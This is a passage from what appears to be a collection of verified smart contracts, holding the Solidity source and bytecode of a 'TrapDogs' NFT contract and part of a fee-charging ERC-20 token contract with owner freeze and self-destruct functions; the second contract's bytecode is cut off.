returns (string memory) { return _baseTokenURI; } function setBaseURI(string memory baseURI) external { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "TrapDogs: must have admin role to change base URI"); _baseTokenURI = baseURI; } function setTokenURI(uint256 tokenId, string memory _tokenURI) external { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "TrapDogs: must have admin role to change token URI"); _setTokenURI(tokenId, _tokenURI); } function setPrice(uint mintPrice) external { require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "TrapDogs: must have admin role to change price"); _price = mintPrice; } function price() public view returns (uint) { return _price; } function mint() public payable { require(msg.value == _price, "TrapDogs: must send correct price"); require(_tokenIdTracker.current() < 9996, "TrapDogs: all TrapDogs have been minted"); _mint(msg.sender, _tokenIdTracker.current()); creator[_tokenIdTracker.current()] = msg.sender; _tokenIdTracker.increment(); payable(_admin).transfer(msg.value); } function mintMultiple(uint256 number) public payable { require(msg.value == _price*number, "TrapDogs: must send correct price"); require(_tokenIdTracker.current() < (9996 - number), "TrapDogs: all TrapDogs have been minted"); for(uint i=0; i < number; i++){ _mint(msg.sender, _tokenIdTracker.current()); creator[_tokenIdTracker.current()] = msg.sender; _tokenIdTracker.increment(); } payable(_admin).transfer(msg.value); } function teamMint(uint256 number) public{ require(hasRole(DEFAULT_ADMIN_ROLE, _msgSender()), "TrapDogs: must have admin role to change base URI"); //require(_tokenIdTracker.current() < (9996 - number), "TrapDogs: all TrapDogs have been minted"); for(uint i=0; i < number; i++){ _mint(msg.sender, _tokenIdTracker.current()); creator[_tokenIdTracker.current()] = msg.sender; _tokenIdTracker.increment(); } } function dogCreator(uint256 tokenId) public view returns(address){ return creator[tokenId]; } function _burn(uint256 tokenId) internal virtual override(ERC721, ERC721URIStorage) { return ERC721URIStorage._burn(tokenId); } function tokenURI(uint256 tokenId) public view override(ERC721, ERC721URIStorage) returns (string memory) { return ERC721URIStorage.tokenURI(tokenId); } function _beforeTokenTransfer(address from, address to, uint256 tokenId) internal virtual override(ERC721, ERC721Enumerable) { super._beforeTokenTransfer(from, to, tokenId); } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(AccessControlEnumerable, ERC721, ERC721Enumerable) returns (bool) { return super.supportsInterface(interfaceId); } }
0x6080604052600436106101f95760003560e01c806355f804b31161010d578063a035b1fe116100a0578063b88d4fde1161006f578063b88d4fde14610576578063c87b56dd14610596578063ca15c873146105b6578063d547741f146105d6578063e985e9c5146105f6576101f9565b8063a035b1fe14610519578063a217fddf1461052e578063a22cb46514610543578063abbb5a5514610563576101f9565b806391b7f5ed116100dc57806391b7f5ed146104af57806391d14854146104cf57806395d89b41146104ef57806398bcede914610504576101f9565b806355f804b31461042f5780636352211e1461044f57806370a082311461046f5780639010d07c1461048f576101f9565b8063248a9ca3116101905780633355d6b31161015f5780633355d6b31461038f57806336568abe146103af57806342842e0e146103cf5780634f6ccce7146103ef578063510b51581461040f576101f9565b8063248a9ca31461030f5780632f2ff15d1461032f5780632f745c591461034f5780632fbba1151461036f576101f9565b80631249c58b116101cc5780631249c58b146102a5578063162094c4146102ad57806318160ddd146102cd57806323b872dd146102ef576101f9565b806301ffc9a7146101fe57806306fdde0314610234578063081812fc14610256578063095ea7b314610283575b600080fd5b34801561020a57600080fd5b5061021e610219366004612239565b610616565b60405161022b919061240a565b60405180910390f35b34801561024057600080fd5b50610249610629565b60405161022b919061241e565b34801561026257600080fd5b506102766102713660046121de565b6106bb565b60405161022b91906123b9565b34801561028f57600080fd5b506102a361029e3660046121b5565b610707565b005b6102a361079f565b3480156102b957600080fd5b506102a36102c83660046122a4565b610884565b3480156102d957600080fd5b506102e26108bb565b60405161022b9190612415565b3480156102fb57600080fd5b506102a361030a3660046120c7565b6108c1565b34801561031b57600080fd5b506102e261032a3660046121de565b6108f9565b34801561033b57600080fd5b506102a361034a3660046121f6565b61090e565b34801561035b57600080fd5b506102e261036a3660046121b5565b610930565b34801561037b57600080fd5b506102a361038a3660046121de565b610985565b34801561039b57600080fd5b506102766103aa3660046121de565b610a24565b3480156103bb57600080fd5b506102a36103ca3660046121f6565b610a3f565b3480156103db57600080fd5b506102a36103ea3660046120c7565b610a61565b3480156103fb57600080fd5b506102e261040a3660046121de565b610a7c565b34801561041b57600080fd5b5061027661042a3660046121de565b610ad7565b34801561043b57600080fd5b506102a361044a366004612271565b610af2565b34801561045b57600080fd5b5061027661046a3660046121de565b610b2e565b34801561047b57600080fd5b506102e261048a36600461207b565b610b63565b34801561049b57600080fd5b506102766104aa366004612218565b610ba7565b3480156104bb57600080fd5b506102a36104ca3660046121de565b610bc6565b3480156104db57600080fd5b5061021e6104ea3660046121f6565b610bf4565b3480156104fb57600080fd5b50610249610c1d565b34801561051057600080fd5b506102e2610c2c565b34801561052557600080fd5b506102e2610c32565b34801561053a57600080fd5b506102e2610c38565b34801561054f57600080fd5b506102a361055e36600461217b565b610c3d565b6102a36105713660046121de565b610d0b565b34801561058257600080fd5b506102a3610591366004612102565b610e1a565b3480156105a257600080fd5b506102496105b13660046121de565b610e59565b3480156105c257600080fd5b506102e26105d13660046121de565b610e64565b3480156105e257600080fd5b506102a36105f13660046121f6565b610e7b565b34801561060257600080fd5b5061021e610611366004612095565b610e85565b600061062182610ed2565b90505b919050565b60606002805461063890612bf4565b80601f016020809104026020016040519081016040528092919081815260200182805461066490612bf4565b80156106b15780601f10610686576101008083540402835291602001916106b1565b820191906000526020600020905b81548152906001019060200180831161069457829003601f168201915b5050505050905090565b60006106c682610ef7565b6106eb5760405162461bcd60e51b81526004016106e29061289f565b60405180910390fd5b506000908152600660205260409020546001600160a01b031690565b600061071282610b2e565b9050806001600160a01b0316836001600160a01b031614156107465760405162461bcd60e51b81526004016106e290612983565b806001600160a01b0316610758610f14565b6001600160a01b03161480610774575061077481610611610f14565b6107905760405162461bcd60e51b81526004016106e29061269a565b61079a8383610f18565b505050565b600f5434146107c05760405162461bcd60e51b81526004016106e2906127d8565b61270c6107cd600d610f86565b106107ea5760405162461bcd60e51b81526004016106e290612555565b6107fd336107f8600d610f86565b610f8a565b336011600061080c600d610f86565b815260200190815260200160002060006101000a8154816001600160a01b0302191690836001600160a01b03160217905550610848600d611069565b6010546040516001600160a01b03909116903480156108fc02916000818181858888f19350505050158015610881573d6000803e3d6000fd5b50565b61089160006104ea610f14565b6108ad5760405162461bcd60e51b81526004016106e290612466565b6108b78282611072565b5050565b600a5490565b6108d26108cc610f14565b826110b6565b6108ee5760405162461bcd60e51b81526004016106e290612a15565b61079a83838361113b565b60009081526020819052604090206001015490565b6109188282611268565b600082815260016020526040902061079a9082610ebd565b600061093b83610b63565b82106109595760405162461bcd60e51b81526004016106e2906124b8565b506001600160a01b03821660009081526008602090815260408083208484529091529020545b92915050565b61099260006104ea610f14565b6109ae5760405162461bcd60e51b81526004016106e2906129c4565b60005b818110156108b7576109c7336107f8600d610f86565b33601160006109d6600d610f86565b815260200190815260200160002060006101000a8154816001600160a01b0302191690836001600160a01b03160217905550610a12600d611069565b80610a1c81612c2f565b9150506109b1565b6000908152601160205260409020546001600160a01b031690565b610a49828261128c565b600082815260016020526040902061079a90826112ce565b61079a83838360405180602001604052806000815250610e1a565b6000610a866108bb565b8210610aa45760405162461bcd60e51b81526004016106e290612a66565b600a8281548110610ac557634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050919050565b6011602052600090815260409020546001600160a01b031681565b610aff60006104ea610f14565b610b1b5760405162461bcd60e51b81526004016106e2906129c4565b80516108b790600e906020840190611f3c565b6000818152600460205260408120546001600160a01b0316806106215760405162461bcd60e51b81526004016106e290612741565b60006001600160a01b038216610b8b5760405162461bcd60e51b81526004016106e2906126f7565b506001600160a01b031660009081526005602052604090205490565b6000828152600160205260408120610bbf90836112e3565b9392505050565b610bd360006104ea610f14565b610bef5760405162461bcd60e51b81526004016106e290612ab2565b600f55565b6000918252602082815260408084206001600160a01b0393909316845291905290205460ff1690565b60606003805461063890612bf4565b600d5481565b600f5490565b600081565b610c45610f14565b6001600160a01b0316826001600160a01b03161415610c765760405162461bcd60e51b81526004016106e290612617565b8060076000610c83610f14565b6001600160a01b03908116825260208083019390935260409182016000908120918716808252919093529120805460ff191692151592909217909155610cc7610f14565b6001600160a01b03167f17307eab39ab6107e8899845ad3d59bd9653f200f220920489ca2b5937696c3183604051610cff919061240a565b60405180910390a35050565b80600f54610d199190612b7b565b3414610d375760405162461bcd60e51b81526004016106e2906127d8565b610d438161270c612b9a565b610d4d600d610f86565b10610d6a5760405162461bcd60e51b81526004016106e290612555565b60005b81811015610de057610d83336107f8600d610f86565b3360116000610d92600d610f86565b815260200190815260200160002060006101000a8154816001600160a01b0302191690836001600160a01b03160217905550610dce600d611069565b80610dd881612c2f565b915050610d6d565b506010546040516001600160a01b03909116903480156108fc02916000818181858888f193505050501580156108b7573d6000803e3d6000fd5b610e2b610e25610f14565b836110b6565b610e475760405162461bcd60e51b81526004016106e290612a15565b610e53848484846112ef565b50505050565b606061062182611322565b60008181526001602052604081206106219061143b565b610a498282611446565b6001600160a01b03918216600090815260076020908152604080832093909416825291909152205460ff1690565b6108b78282611465565b6000610bbf836001600160a01b0384166114ea565b60006001600160e01b0319821663780e9d6360e01b1480610621575061062182611534565b6000908152600460205260409020546001600160a01b0316151590565b3390565b600081815260066020526040902080546001600160a01b0319166001600160a01b0384169081179091558190610f4d82610b2e565b6001600160a01b03167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92560405160405180910390a45050565b5490565b6001600160a01b038216610fb05760405162461bcd60e51b81526004016106e290612819565b610fb981610ef7565b15610fd65760405162461bcd60e51b81526004016106e29061259c565b610fe260008383611574565b6001600160a01b038216600090815260056020526040812080546001929061100b908490612b4f565b909155505060008181526004602052604080822080546001600160a01b0319166001600160a01b03861690811790915590518392907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef908290a45050565b80546001019055565b61107b82610ef7565b6110975760405162461bcd60e51b81526004016106e29061278a565b6000828152600c60209081526040909120825161079a92840190611f3c565b60006110c182610ef7565b6110dd5760405162461bcd60e51b81526004016106e29061264e565b60006110e883610b2e565b9050806001600160a01b0316846001600160a01b031614806111235750836001600160a01b0316611118846106bb565b6001600160a01b0316145b8061113357506111338185610e85565b949350505050565b826001600160a01b031661114e82610b2e565b6001600160a01b0316146111745760405162461bcd60e51b81526004016106e2906128eb565b6001600160a01b03821661119a5760405162461bcd60e51b81526004016106e2906125d3565b6111a5838383611574565b6111b0600082610f18565b6001600160a01b03831660009081526005602052604081208054600192906111d9908490612b9a565b90915550506001600160a01b0382166000908152600560205260408120805460019290611207908490612b4f565b909155505060008181526004602052604080822080546001600160a01b0319166001600160a01b0386811691821790925591518493918716917fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef91a4505050565b611271826108f9565b6112828161127d610f14565b61157f565b61079a8383611465565b611294610f14565b6001600160a01b0316816001600160a01b0316146112c45760405162461bcd60e51b81526004016106e290612b00565b6108b782826115e3565b6000610bbf836001600160a01b038416611666565b6000610bbf8383611783565b6112fa84848461113b565b611306848484846117bb565b610e535760405162461bcd60e51b81526004016106e290612503565b606061132d82610ef7565b6113495760405162461bcd60e51b81526004016106e29061284e565b6000828152600c60205260408120805461136290612bf4565b80601f016020809104026020016040519081016040528092919081815260200182805461138e90612bf4565b80156113db5780601f106113b0576101008083540402835291602001916113db565b820191906000526020600020905b8154815290600101906020018083116113be57829003601f168201915b5050505050905060006113ec6118d6565b905080516000141561140057509050610624565b81511561143257808260405160200161141a929190612315565b60405160208183030381529060405292505050610624565b611133846118e5565b600061062182610f86565b61144f826108f9565b61145b8161127d610f14565b61079a83836115e3565b61146f8282610bf4565b6108b7576000828152602081815260408083206001600160a01b03851684529091529020805460ff191660011790556114a6610f14565b6001600160a01b0316816001600160a01b0316837f2f8788117e7eff1d82e926ec794901d17c78024a50270940304540a733656f0d60405160405180910390a45050565b60006114f68383611967565b61152c5750815460018181018455600084815260208082209093018490558454848252828601909352604090209190915561097f565b50600061097f565b60006001600160e01b031982166380ac58cd60e01b148061156557506001600160e01b03198216635b5e139f60e01b145b8061062157506106218261197f565b61079a8383836119a4565b6115898282610bf4565b6108b7576115a1816001600160a01b03166014611a2d565b6115ac836020611a2d565b6040516020016115bd929190612344565b60408051601f198184030181529082905262461bcd60e51b82526106e29160040161241e565b6115ed8282610bf4565b156108b7576000828152602081815260408083206001600160a01b03851684529091529020805460ff19169055611622610f14565b6001600160a01b0316816001600160a01b0316837ff6391f5c32d9c69d2a47ea670b442974b53935d1edc7fd64eb21e047a839171b60405160405180910390a45050565b6000818152600183016020526040812054801561177957600061168a600183612b9a565b855490915060009061169e90600190612b9a565b905081811461171f5760008660000182815481106116cc57634e487b7160e01b600052603260045260246000fd5b90600052602060002001549050808760000184815481106116fd57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255918252600188019052604090208390555b855486908061173e57634e487b7160e01b600052603160045260246000fd5b60019003818190600052602060002001600090559055856001016000868152602001908152602001600020600090556001935050505061097f565b600091505061097f565b60008260000182815481106117a857634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905092915050565b60006117cf846001600160a01b0316611bdf565b156118cb57836001600160a01b031663150b7a026117eb610f14565b8786866040518563ffffffff1660e01b815260040161180d94939291906123cd565b602060405180830381600087803b15801561182757600080fd5b505af1925050508015611857575060408051601f3d908101601f1916820190925261185491810190612255565b60015b6118b1573d808015611885576040519150601f19603f3d011682016040523d82523d6000602084013e61188a565b606091505b5080516118a95760405162461bcd60e51b81526004016106e290612503565b805181602001fd5b6001600160e01b031916630a85bd0160e11b149050611133565b506001949350505050565b6060600e805461063890612bf4565b60606118f082610ef7565b61190c5760405162461bcd60e51b81526004016106e290612934565b60006119166118d6565b905060008151116119365760405180602001604052806000815250610bbf565b8061194084611be5565b604051602001611951929190612315565b6040516020818303038152906040529392505050565b60009081526001919091016020526040902054151590565b60006001600160e01b03198216635a05180f60e01b1480610621575061062182611d00565b6119af83838361079a565b6001600160a01b0383166119cb576119c681611d25565b6119ee565b816001600160a01b0316836001600160a01b0316146119ee576119ee8382611d69565b6001600160a01b038216611a0a57611a0581611e06565b61079a565b826001600160a01b0316826001600160a01b03161461079a5761079a8282611edf565b60606000611a3c836002612b7b565b611a47906002612b4f565b67ffffffffffffffff811115611a6d57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611a97576020820181803683370190505b509050600360fc1b81600081518110611ac057634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350600f60fb1b81600181518110611afd57634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a9053506000611b21846002612b7b565b611b2c906001612b4f565b90505b6001811115611bc0576f181899199a1a9b1b9c1cb0b131b232b360811b85600f1660108110611b6e57634e487b7160e01b600052603260045260246000fd5b1a60f81b828281518110611b9257634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a90535060049490941c93611bb981612bdd565b9050611b2f565b508315610bbf5760405162461bcd60e51b81526004016106e290612431565b3b151590565b606081611c0a57506040805180820190915260018152600360fc1b6020820152610624565b8160005b8115611c345780611c1e81612c2f565b9150611c2d9050600a83612b67565b9150611c0e565b60008167ffffffffffffffff811115611c5d57634e487b7160e01b600052604160045260246000fd5b6040519080825280601f01601f191660200182016040528015611c87576020820181803683370190505b5090505b841561113357611c9c600183612b9a565b9150611ca9600a86612c4a565b611cb4906030612b4f565b60f81b818381518110611cd757634e487b7160e01b600052603260045260246000fd5b60200101906001600160f81b031916908160001a905350611cf9600a86612b67565b9450611c8b565b60006001600160e01b03198216637965db0b60e01b1480610621575061062182611f23565b600a80546000838152600b60205260408120829055600182018355919091527fc65a7bb8d6351c1cf70c95a316cc6a92839c986682d98bc35f958f4883f9d2a80155565b60006001611d7684610b63565b611d809190612b9a565b600083815260096020526040902054909150808214611dd3576001600160a01b03841660009081526008602090815260408083208584528252808320548484528184208190558352600990915290208190555b5060009182526009602090815260408084208490556001600160a01b039094168352600881528383209183525290812055565b600a54600090611e1890600190612b9a565b6000838152600b6020526040812054600a8054939450909284908110611e4e57634e487b7160e01b600052603260045260246000fd5b9060005260206000200154905080600a8381548110611e7d57634e487b7160e01b600052603260045260246000fd5b6000918252602080832090910192909255828152600b9091526040808220849055858252812055600a805480611ec357634e487b7160e01b600052603160045260246000fd5b6001900381819060005260206000200160009055905550505050565b6000611eea83610b63565b6001600160a01b039093166000908152600860209081526040808320868452825280832085905593825260099052919091209190915550565b6001600160e01b031981166301ffc9a760e01b14919050565b828054611f4890612bf4565b90600052602060002090601f016020900481019282611f6a5760008555611fb0565b82601f10611f8357805160ff1916838001178555611fb0565b82800160010185558215611fb0579182015b82811115611fb0578251825591602001919060010190611f95565b50611fbc929150611fc0565b5090565b5b80821115611fbc5760008155600101611fc1565b600067ffffffffffffffff80841115611ff057611ff0612c8a565b604051601f8501601f19168101602001828111828210171561201457612014612c8a565b60405284815291508183850186101561202c57600080fd5b8484602083013760006020868301015250509392505050565b80356001600160a01b038116811461062457600080fd5b600082601f83011261206c578081fd5b610bbf83833560208501611fd5565b60006020828403121561208c578081fd5b610bbf82612045565b600080604083850312156120a7578081fd5b6120b083612045565b91506120be60208401612045565b90509250929050565b6000806000606084860312156120db578081fd5b6120e484612045565b92506120f260208501612045565b9150604084013590509250925092565b60008060008060808587031215612117578081fd5b61212085612045565b935061212e60208601612045565b925060408501359150606085013567ffffffffffffffff811115612150578182fd5b8501601f81018713612160578182fd5b61216f87823560208401611fd5565b91505092959194509250565b6000806040838503121561218d578182fd5b61219683612045565b9150602083013580151581146121aa578182fd5b809150509250929050565b600080604083850312156121c7578182fd5b6121d083612045565b946020939093013593505050565b6000602082840312156121ef578081fd5b5035919050565b60008060408385031215612208578182fd5b823591506120be60208401612045565b6000806040838503121561222a578182fd5b50508035926020909101359150565b60006020828403121561224a578081fd5b8135610bbf81612ca0565b600060208284031215612266578081fd5b8151610bbf81612ca0565b600060208284031215612282578081fd5b813567ffffffffffffffff811115612298578182fd5b6111338482850161205c565b600080604083850312156122b6578182fd5b82359150602083013567ffffffffffffffff8111156122d3578182fd5b6122df8582860161205c565b9150509250929050565b60008151808452612301816020860160208601612bb1565b601f01601f19169290920160200192915050565b60008351612327818460208801612bb1565b83519083019061233b818360208801612bb1565b01949350505050565b60007f416363657373436f6e74726f6c3a206163636f756e74200000000000000000008252835161237c816017850160208801612bb1565b7001034b99036b4b9b9b4b733903937b6329607d1b60179184019182015283516123ad816028840160208801612bb1565b01602801949350505050565b6001600160a01b0391909116815260200190565b6001600160a01b0385811682528416602082015260408101839052608060608201819052600090612400908301846122e9565b9695505050505050565b901515815260200190565b90815260200190565b600060208252610bbf60208301846122e9565b6020808252818101527f537472696e67733a20686578206c656e67746820696e73756666696369656e74604082015260600190565b60208082526032908201527f54726170446f67733a206d75737420686176652061646d696e20726f6c6520746040820152716f206368616e676520746f6b656e2055524960701b606082015260800190565b6020808252602b908201527f455243373231456e756d657261626c653a206f776e657220696e646578206f7560408201526a74206f6620626f756e647360a81b606082015260800190565b60208082526032908201527f4552433732313a207472616e7366657220746f206e6f6e20455243373231526560408201527131b2b4bb32b91034b6b83632b6b2b73a32b960711b606082015260800190565b60208082526027908201527f54726170446f67733a20616c6c2054726170446f67732068617665206265656e604082015266081b5a5b9d195960ca1b606082015260800190565b6020808252601c908201527f4552433732313a20746f6b656e20616c7265616479206d696e74656400000000604082015260600190565b60208082526024908201527f4552433732313a207472616e7366657220746f20746865207a65726f206164646040820152637265737360e01b606082015260800190565b60208082526019908201527f4552433732313a20617070726f766520746f2063616c6c657200000000000000604082015260600190565b6020808252602c908201527f4552433732313a206f70657261746f7220717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526038908201527f4552433732313a20617070726f76652063616c6c6572206973206e6f74206f7760408201527f6e6572206e6f7220617070726f76656420666f7220616c6c0000000000000000606082015260800190565b6020808252602a908201527f4552433732313a2062616c616e636520717565727920666f7220746865207a65604082015269726f206164647265737360b01b606082015260800190565b60208082526029908201527f4552433732313a206f776e657220717565727920666f72206e6f6e657869737460408201526832b73a103a37b5b2b760b91b606082015260800190565b6020808252602e908201527f45524337323155524953746f726167653a2055524920736574206f66206e6f6e60408201526d32bc34b9ba32b73a103a37b5b2b760911b606082015260800190565b60208082526021908201527f54726170446f67733a206d7573742073656e6420636f727265637420707269636040820152606560f81b606082015260800190565b6020808252818101527f4552433732313a206d696e7420746f20746865207a65726f2061646472657373604082015260600190565b60208082526031908201527f45524337323155524953746f726167653a2055524920717565727920666f72206040820152703737b732bc34b9ba32b73a103a37b5b2b760791b606082015260800190565b6020808252602c908201527f4552433732313a20617070726f76656420717565727920666f72206e6f6e657860408201526b34b9ba32b73a103a37b5b2b760a11b606082015260800190565b60208082526029908201527f4552433732313a207472616e73666572206f6620746f6b656e2074686174206960408201526839903737ba1037bbb760b91b606082015260800190565b6020808252602f908201527f4552433732314d657461646174613a2055524920717565727920666f72206e6f60408201526e3732bc34b9ba32b73a103a37b5b2b760891b606082015260800190565b60208082526021908201527f4552433732313a20617070726f76616c20746f2063757272656e74206f776e656040820152603960f91b606082015260800190565b60208082526031908201527f54726170446f67733a206d75737420686176652061646d696e20726f6c6520746040820152706f206368616e676520626173652055524960781b606082015260800190565b60208082526031908201527f4552433732313a207472616e736665722063616c6c6572206973206e6f74206f6040820152701ddb995c881b9bdc88185c1c1c9bdd9959607a1b606082015260800190565b6020808252602c908201527f455243373231456e756d657261626c653a20676c6f62616c20696e646578206f60408201526b7574206f6620626f756e647360a01b606082015260800190565b6020808252602e908201527f54726170446f67733a206d75737420686176652061646d696e20726f6c65207460408201526d6f206368616e676520707269636560901b606082015260800190565b6020808252602f908201527f416363657373436f6e74726f6c3a2063616e206f6e6c792072656e6f756e636560408201526e103937b632b9903337b91039b2b63360891b606082015260800190565b60008219821115612b6257612b62612c5e565b500190565b600082612b7657612b76612c74565b500490565b6000816000190483118215151615612b9557612b95612c5e565b500290565b600082821015612bac57612bac612c5e565b500390565b60005b83811015612bcc578181015183820152602001612bb4565b83811115610e535750506000910152565b600081612bec57612bec612c5e565b506000190190565b600281046001821680612c0857607f821691505b60208210811415612c2957634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415612c4357612c43612c5e565b5060010190565b600082612c5957612c59612c74565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160e01b03198116811461088157600080fdfea2646970667358221220b1d7a604f9bc0a66e863957d47ffdb16396fa649570d0a67eb759ac166f4c91364736f6c63430008000033
[ 5 ]
0xf37482333a56f0bc2718c8611386210632f5f576
pragma solidity ^0.4.23; library SafeMath { function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } contract ERC20 { using SafeMath for uint256; string public name; string public symbol; uint256 public decimals; uint256 public totalSupply; address public owner; uint256 public basisPointsRate = 0; uint256 public maximumFee = 0; uint256 public minimumFee = 0; mapping (address => uint256) public balanceOf; mapping (address => uint256) public freezes; mapping (address => mapping (address => uint256)) public allowance; event Transfer(address indexed _from, address indexed _to, uint256 _value); event CollectFee(address indexed _from, address indexed _owner, uint256 fee); event Approval(address indexed _owner, address indexed _spender, uint256 _value); event Params(address indexed _owner, uint256 feeBasisPoints, uint256 minFee, uint256 maxFee); event Freeze(address indexed to, uint256 value); event Unfreeze(address indexed to, uint256 value); event Withdraw(address indexed to, uint256 value); constructor(uint256 initialSupply, uint8 decimalUnits, string tokenName, string tokenSymbol) public { balanceOf[msg.sender] = initialSupply; totalSupply = initialSupply; name = tokenName; symbol = tokenSymbol; decimals = decimalUnits; owner = msg.sender; } function transfer(address _to, uint256 _value) public returns (bool success) { require(_to != address(0)); uint256 fee = calFee(_value); require(_value > fee); uint256 sendAmount = _value.sub(fee); require(balanceOf[msg.sender] >= _value && _value > 0 && balanceOf[_to] + sendAmount > balanceOf[_to]); balanceOf[msg.sender] = balanceOf[msg.sender].sub(_value); balanceOf[_to] = balanceOf[_to].add(sendAmount); if (fee > 0) { balanceOf[owner] = balanceOf[owner].add(fee); emit CollectFee(msg.sender, owner, fee); } emit Transfer(msg.sender, _to, sendAmount); return true; } function approve(address _spender, uint256 _value) public returns (bool success) { require(_spender != address(0)); require((_value == 0) || (allowance[msg.sender][_spender] == 0)); allowance[msg.sender][_spender] = _value; emit Approval(msg.sender, _spender, _value); return true; } function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) { require((_from != address(0)) && (_to != address(0))); uint256 fee = calFee(_value); require(_value > fee); uint256 sendAmount = _value.sub(fee); require(balanceOf[_from] >= _value && allowance[_from][msg.sender] >= _value && _value > 0 && balanceOf[_to] + sendAmount > balanceOf[_to]); balanceOf[_to] = balanceOf[_to].add(sendAmount); balanceOf[_from] = balanceOf[_from].sub(_value); allowance[_from][msg.sender] = allowance[_from][msg.sender].sub(_value); if (fee > 0) { balanceOf[owner] = balanceOf[owner].add(fee); emit CollectFee(msg.sender, owner, fee); } emit Transfer(_from, _to, _value); return true; } function freeze(address _to,uint256 _value) public returns (bool success) { require(msg.sender == owner); require(balanceOf[_to] >= _value); require(_value > 0); balanceOf[_to] = balanceOf[_to].sub(_value); freezes[_to] = freezes[_to].add(_value); emit Freeze(_to, _value); return true; } function unfreeze(address _to,uint256 _value) public returns (bool success) { require(msg.sender == owner); require(freezes[_to] >= _value); require(_value > 0); freezes[_to] = freezes[_to].sub(_value); balanceOf[_to] = balanceOf[_to].add(_value); emit Unfreeze(_to, _value); return true; } function setParams(uint256 newBasisPoints, uint256 newMinFee, uint256 newMaxFee) public returns (bool success) { require(msg.sender == owner); require(newBasisPoints <= 20); require(newMinFee <= 50); require(newMaxFee <= 50); require(newMinFee <= newMaxFee); basisPointsRate = newBasisPoints; minimumFee = newMinFee.mul(10**decimals); maximumFee = newMaxFee.mul(10**decimals); emit Params(msg.sender, basisPointsRate, minimumFee, maximumFee); return true; } function calFee(uint256 _value) private view returns (uint256 fee) { fee = (_value.mul(basisPointsRate)).div(10000); if (fee > maximumFee) { fee = maximumFee; } if (fee < minimumFee) { fee = minimumFee; } } function withdrawEther(uint256 amount) public returns (bool success) { require (msg.sender == owner); owner.transfer(amount); emit Withdraw(msg.sender,amount); return true; } function destructor() public returns (bool success) { require(msg.sender == owner); selfdestruct(owner); return true; } function() payable private { } }
0x6080604052600436106101065763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610108578063095ea7b31461019257806312042682146101ca57806318160ddd146101fd5780631a7626e71461021257806323b872dd1461022757806324bce60c14610251578063313ce56714610275578063353907141461028a5780633bed33ce1461029f5780634476d23b146102b75780635a0ce676146102cc57806370a08231146102ea5780637b46b80b1461030b5780638da5cb5b1461032f57806395d89b4114610360578063a9059cbb14610375578063dd62ed3e14610399578063dd644f72146103c0575b005b34801561011457600080fd5b5061011d6103d5565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561015757818101518382015260200161013f565b50505050905090810190601f1680156101845780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561019e57600080fd5b506101b6600160a060020a0360043516602435610463565b604080519115158252519081900360200190f35b3480156101d657600080fd5b506101eb600160a060020a036004351661051b565b60408051918252519081900360200190f35b34801561020957600080fd5b506101eb61052d565b34801561021e57600080fd5b506101eb610533565b34801561023357600080fd5b506101b6600160a060020a0360043581169060243516604435610539565b34801561025d57600080fd5b506101b6600160a060020a03600435166024356107d3565b34801561028157600080fd5b506101eb6108dc565b34801561029657600080fd5b506101eb6108e2565b3480156102ab57600080fd5b506101b66004356108e8565b3480156102c357600080fd5b506101b6610989565b3480156102d857600080fd5b506101b66004356024356044356109b5565b3480156102f657600080fd5b506101eb600160a060020a0360043516610aa3565b34801561031757600080fd5b506101b6600160a060020a0360043516602435610ab5565b34801561033b57600080fd5b50610344610bbe565b60408051600160a060020a039092168252519081900360200190f35b34801561036c57600080fd5b5061011d610bcd565b34801561038157600080fd5b506101b6600160a060020a0360043516602435610c27565b3480156103a557600080fd5b506101eb600160a060020a0360043581169060243516610e25565b3480156103cc57600080fd5b506101eb610e42565b6000805460408051602060026001851615610100026000190190941693909304601f8101849004840282018401909252818152929183018282801561045b5780601f106104305761010080835404028352916020019161045b565b820191906000526020600020905b81548152906001019060200180831161043e57829003601f168201915b505050505081565b6000600160a060020a038316151561047a57600080fd5b8115806104aa5750600160a060020a033381166000908152600a6020908152604080832093871683529290522054155b15156104b557600080fd5b600160a060020a033381166000818152600a6020908152604080832094881680845294825291829020869055815186815291517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259281900390910190a350600192915050565b60096020526000908152604090205481565b60035481565b60075481565b60008080600160a060020a0386161580159061055d5750600160a060020a03851615155b151561056857600080fd5b61057184610e48565b915081841161057f57600080fd5b61058f848363ffffffff610e9416565b600160a060020a03871660009081526008602052604090205490915084118015906105e05750600160a060020a038087166000908152600a6020908152604080832033909416835292905220548411155b80156105ec5750600084115b80156106115750600160a060020a038516600090815260086020526040902054818101115b151561061c57600080fd5b600160a060020a038516600090815260086020526040902054610645908263ffffffff610ea616565b600160a060020a03808716600090815260086020526040808220939093559088168152205461067a908563ffffffff610e9416565b600160a060020a03808816600090815260086020908152604080832094909455600a81528382203390931682529190915220546106bd908563ffff